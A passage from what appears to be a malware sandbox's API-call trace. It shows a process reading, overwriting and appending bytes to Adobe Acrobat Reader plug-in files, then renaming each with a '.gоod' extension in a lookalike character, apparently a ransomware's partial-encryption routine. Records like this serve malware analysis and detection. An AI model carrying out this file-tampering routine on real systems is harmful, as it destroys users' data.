dc\\reader\\plug_ins\\escript.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0094.596] GetFileType (hFile=0x768) returned 0x1 [0094.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0094.596] GetFileType (hFile=0x768) returned 0x1 [0094.596] ReadFile (in: hFile=0x768, lpBuffer=0x37c9778, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x37c9778*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0094.688] CloseHandle (hObject=0x768) returned 1 [0094.688] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api", lpFilePart=0x0) returned 0x4a [0094.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0094.689] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\escript.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0094.689] GetFileType (hFile=0x768) returned 0x1 [0094.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0094.689] GetFileType (hFile=0x768) returned 0x1 [0094.689] WriteFile (in: hFile=0x768, lpBuffer=0x3469868*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x3469868*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0094.689] CloseHandle (hObject=0x768) returned 1 [0094.689] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api", lpFilePart=0x0) returned 0x4a [0094.689] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api.gоod", lpFilePart=0x0) returned 0x4f [0094.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0094.689] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\escript.api"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe03efc54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x34a6558c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x280073)) returned 1 [0094.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0094.690] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\escript.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\escript.api.gоod")) returned 1 [0094.690] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api", lpFilePart=0x0) returned 0x47 [0094.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0094.690] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ia32.api"), fInfoLevelId=0x0, lpFileInformation=0x3483100 | out: lpFileInformation=0x3483100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe0415ea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1aa63)) returned 1 [0094.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0094.691] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api", lpFilePart=0x0) returned 0x47 [0094.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0094.691] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ia32.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0094.691] GetFileType (hFile=0x768) returned 0x1 [0094.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0094.691] GetFileType (hFile=0x768) returned 0x1 [0094.691] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0094.691] ReadFile (in: hFile=0x768, lpBuffer=0x3483508, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x3483508*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0095.155] CloseHandle (hObject=0x768) returned 1 [0095.156] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api", lpFilePart=0x0) returned 0x47 [0095.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0095.156] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ia32.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0095.157] GetFileType (hFile=0x768) returned 0x1 [0095.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0095.177] GetFileType (hFile=0x768) returned 0x1 [0095.177] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1aa63 [0095.177] WriteFile (in: hFile=0x768, lpBuffer=0x361fa48*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x361fa48*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0095.178] CloseHandle (hObject=0x768) returned 1 [0095.178] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api", lpFilePart=0x0) returned 0x47 [0095.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0095.178] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ia32.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0095.178] GetFileType (hFile=0x768) returned 0x1 [0095.179] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0095.179] GetFileType (hFile=0x768) returned 0x1 [0095.179] ReadFile (in: hFile=0x768, lpBuffer=0x3621d20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x3621d20*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0095.249] CloseHandle (hObject=0x768) returned 1 [0095.249] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api", lpFilePart=0x0) returned 0x47 [0095.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0095.249] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ia32.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0095.249] GetFileType (hFile=0x768) returned 0x1 [0095.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0095.249] GetFileType (hFile=0x768) returned 0x1 [0095.249] WriteFile (in: hFile=0x768, lpBuffer=0x34a4448*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x34a4448*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0095.250] CloseHandle (hObject=0x768) returned 1 [0095.250] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api", lpFilePart=0x0) returned 0x47 [0095.250] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api.gоod", lpFilePart=0x0) returned 0x4c [0095.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0095.250] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ia32.api"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe0415ea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x34fc2a6c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1aa73)) returned 1 [0095.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0095.250] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ia32.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ia32.api.gоod")) returned 1 [0095.251] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api", lpFilePart=0x0) returned 0x51 [0095.251] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0095.251] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\makeaccessible.api"), fInfoLevelId=0x0, lpFileInformation=0x34bb7e0 | out: lpFileInformation=0x34bb7e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfa4033a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x26fa63)) returned 1 [0095.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0095.253] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api", lpFilePart=0x0) returned 0x51 [0095.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0095.253] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\makeaccessible.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0095.253] GetFileType (hFile=0x768) returned 0x1 [0095.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0095.253] GetFileType (hFile=0x768) returned 0x1 [0095.253] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0095.254] ReadFile (in: hFile=0x768, lpBuffer=0x34bbc38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x34bbc38*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0095.255] CloseHandle (hObject=0x768) returned 1 [0095.255] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api", lpFilePart=0x0) returned 0x51 [0095.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0095.255] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\makeaccessible.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0095.256] GetFileType (hFile=0x768) returned 0x1 [0095.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0095.256] GetFileType (hFile=0x768) returned 0x1 [0095.256] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x26fa63 [0095.256] WriteFile (in: hFile=0x768, lpBuffer=0x34bcf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x34bcf90*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0095.258] CloseHandle (hObject=0x768) returned 1 [0095.258] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api", lpFilePart=0x0) returned 0x51 [0095.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0095.258] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\makeaccessible.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0095.258] GetFileType (hFile=0x768) returned 0x1 [0095.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0095.258] GetFileType (hFile=0x768) returned 0x1 [0095.258] ReadFile (in: hFile=0x768, lpBuffer=0x34bf2c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x34bf2c0*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0095.749] CloseHandle (hObject=0x768) returned 1 [0095.749] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api", lpFilePart=0x0) returned 0x51 [0095.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0095.749] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\makeaccessible.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0095.750] GetFileType (hFile=0x768) returned 0x1 [0095.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0095.750] GetFileType (hFile=0x768) returned 0x1 [0095.750] WriteFile (in: hFile=0x768, lpBuffer=0x34bdff8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x34bdff8*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0095.750] CloseHandle (hObject=0x768) returned 1 [0095.750] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api", lpFilePart=0x0) returned 0x51 [0095.750] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api.gоod", lpFilePart=0x0) returned 0x56 [0095.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0095.750] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\makeaccessible.api"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfa4033a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x35487790, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x26fa73)) returned 1 [0095.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0095.750] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\makeaccessible.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\makeaccessible.api.gоod")) returned 1 [0095.755] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api", lpFilePart=0x0) returned 0x4d [0095.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0095.755] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\multimedia.api"), fInfoLevelId=0x0, lpFileInformation=0x37685f0 | out: lpFileInformation=0x37685f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfc5641f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x179063)) returned 1 [0095.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0095.755] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api", lpFilePart=0x0) returned 0x4d [0095.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0095.767] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\multimedia.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0095.767] GetFileType (hFile=0x768) returned 0x1 [0095.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0095.767] GetFileType (hFile=0x768) returned 0x1 [0095.767] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0095.767] ReadFile (in: hFile=0x768, lpBuffer=0x3768a28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x3768a28*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0095.769] CloseHandle (hObject=0x768) returned 1 [0095.769] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api", lpFilePart=0x0) returned 0x4d [0095.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0095.769] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\multimedia.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0095.769] GetFileType (hFile=0x768) returned 0x1 [0095.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0095.770] GetFileType (hFile=0x768) returned 0x1 [0095.770] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x179063 [0095.770] WriteFile (in: hFile=0x768, lpBuffer=0x3769d10*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x3769d10*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0095.772] CloseHandle (hObject=0x768) returned 1 [0095.772] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api", lpFilePart=0x0) returned 0x4d [0095.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0095.772] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\multimedia.api"), 